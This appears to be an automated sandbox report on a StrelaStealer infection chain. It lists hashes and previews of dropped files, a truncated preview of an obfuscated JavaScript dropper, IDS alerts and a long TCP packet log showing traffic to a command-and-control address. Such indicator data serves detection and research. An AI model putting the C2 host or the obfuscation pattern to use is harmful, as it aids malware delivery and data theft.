Encrypted:	false
SSDEEP:	24576:/r5eYIGNPpOWL07oBGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:T5eZGOWLxBGZN3mlind9i4ufFXpAXkru
MD5:	4CBEAB1994786A0B8AE7BAF48FAD3A6A
SHA1:	2F22D79E3DF7B249DA18F028F5A14EB65BB9C139
SHA-256:	7E6BD13795A55EFAED961CFF688D9D59401599963C4AF42FD6ABAD434E7D6088
SHA-512:	DF0BFE07CDAFBD1DE973E9C16F854AFEEA391733E87B00A358EA53FC812746E077E74B04B144DAED0B4795ECE1638D43CDE7A283024212B548AE96ED3F1BA542
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\9abc90e2-be16-493f-9c48-65158ad716bf.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (19200), with CRLF line terminators
Entropy (8bit):	4.909832987495041
TrID:
File name:	700123582683323683.js
File size:	22'853 bytes
MD5:	6c6609fa11dd15f0f1505a14b0ae660b
SHA1:	0c2b06a1e2341bdec63b3e73988ebe52dcdcd608
SHA256:	4d5bc25014ef381cae48ce08049c8aad19381e117fc5507550b8173f573f929c
SHA512:	050b0df673f62283e0a561b91e9b98e21c9076c35bf3c62ab8970a19d38c44008ce5ebbeb67fa2df1a2b26c782187ef4f5d8dd4caf6e81639075fae3a728abca
SSDEEP:	384:+PPq3AJGSfTX0XDDeaSqXM5G048lS2ADFJy+OLA55D1D:+636GSfjyDCaSdru3DFJy+OL25D1D
TLSH:	48A264C1C4A2437357FDB5A9D2DB16D1E3884BCC849460DAC96430A1CB4B75A13FAEF9
File Content Preview:	function fmeoz(){vjzyqlish=[1031,3079,5127,4103,2055,3072];var jzfqkuyo=this[gsoynibke+kgnaeaddt+jphffsmj+fijurz+dsfewlvv+trczgqavy+jqrjop+eiyzllw](this[ywlzvq+tsafs+rzlwfy+jphffsmj+iofrlu+gsoynibke+eiyzllw][jpmzf+jphffsmj+dsfewlvv+kgnaeaddt+eiyzllw+dsfew

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:03:55.226431+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T08:03:55.226431+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49710	193.143.1.205	80	TCP
2025-01-11T08:03:58.117792+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49711	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:03:54.429528952 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:54.434468985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:54.434540987 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:54.442126036 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:54.446984053 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226269007 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226300001 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226315975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226330042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226344109 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226357937 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226372957 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226387024 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226401091 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226414919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.226430893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.226430893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.226430893 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.226454973 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.231268883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.269342899 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.269378901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.269426107 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.323220968 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345711946 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345736980 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345752954 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345767975 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345787048 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345801115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345812082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345812082 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345815897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345829964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345844030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345865965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345880985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345894098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345895052 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345896006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345896006 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.345910072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.345923901 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346012115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.346012115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.346398115 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346412897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346426964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346441984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346456051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.346472979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.346472979 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.347459078 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.347474098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.347510099 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.404406071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.404429913 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.404445887 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.404658079 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.436489105 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.436515093 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.436546087 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.462254047 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462286949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462301970 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462316990 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462332964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462356091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.462356091 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.462507963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.462522030 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462538004 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462552071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462613106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.462687969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462704897 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.462824106 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.463290930 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463323116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463339090 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463352919 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463357925 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.463366985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463381052 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463396072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.463417053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.463417053 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.463443041 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464289904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464406967 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464421034 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464436054 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464448929 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464462996 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464477062 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464478016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464478016 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464518070 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464745998 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464767933 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464782000 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464796066 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464802027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464809895 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464823961 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464838982 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.464863062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464863062 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.464915037 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.465470076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465485096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465500116 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465533018 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465554953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465569019 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465581894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.465626955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.465626955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.465626955 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.466361046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.466404915 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.466434002 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.497452974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.497483015 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.497498035 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.497512102 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.497528076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.497538090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.497538090 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.497643948 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.504494905 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.504539013 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.504995108 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.529105902 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.529176950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.529222012 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.529248953 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.529333115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.529333115 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.553937912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.553972006 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.554024935 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.578953981 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.578974009 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.578989983 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579091072 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579107046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579121113 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579175949 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.579176903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.579176903 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.579432964 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579447985 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579472065 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579485893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579503059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.579508066 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.580058098 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580073118 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580087900 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580153942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.580153942 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.580180883 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580194950 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580210924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580226898 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.580379963 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.581017017 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581032991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581047058 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581068993 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581083059 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581096888 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581113100 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581115961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.581115961 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.581958055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581973076 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581986904 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.581998110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.581998110 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.582010984 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582025051 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582040071 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582055092 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582108974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.582108974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.582108974 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.582932949 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582947969 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582971096 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.582992077 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583007097 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583020926 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583026886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.583026886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.583327055 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583899021 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583914042 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583928108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583940983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.583940983 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.583967924 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583981991 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.583997965 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584014893 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584079027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.584079027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.584079027 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.584815025 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584830046 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584844112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584948063 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584961891 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584976912 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584991932 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.584992886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.584992886 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.585813999 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.585827112 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585840940 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585865974 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585880041 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585894108 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585907936 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585923910 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.585949898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.585949898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.585949898 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.586137056 CET	49710	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:03:55.586769104 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586786032 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586824894 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586839914 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586854935 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586870909 CET	80	49710	193.143.1.205	192.168.2.6
Jan 11, 2025 08:03:55.586905003 CET	49710	80	192.168.2.6	193.143.1.205
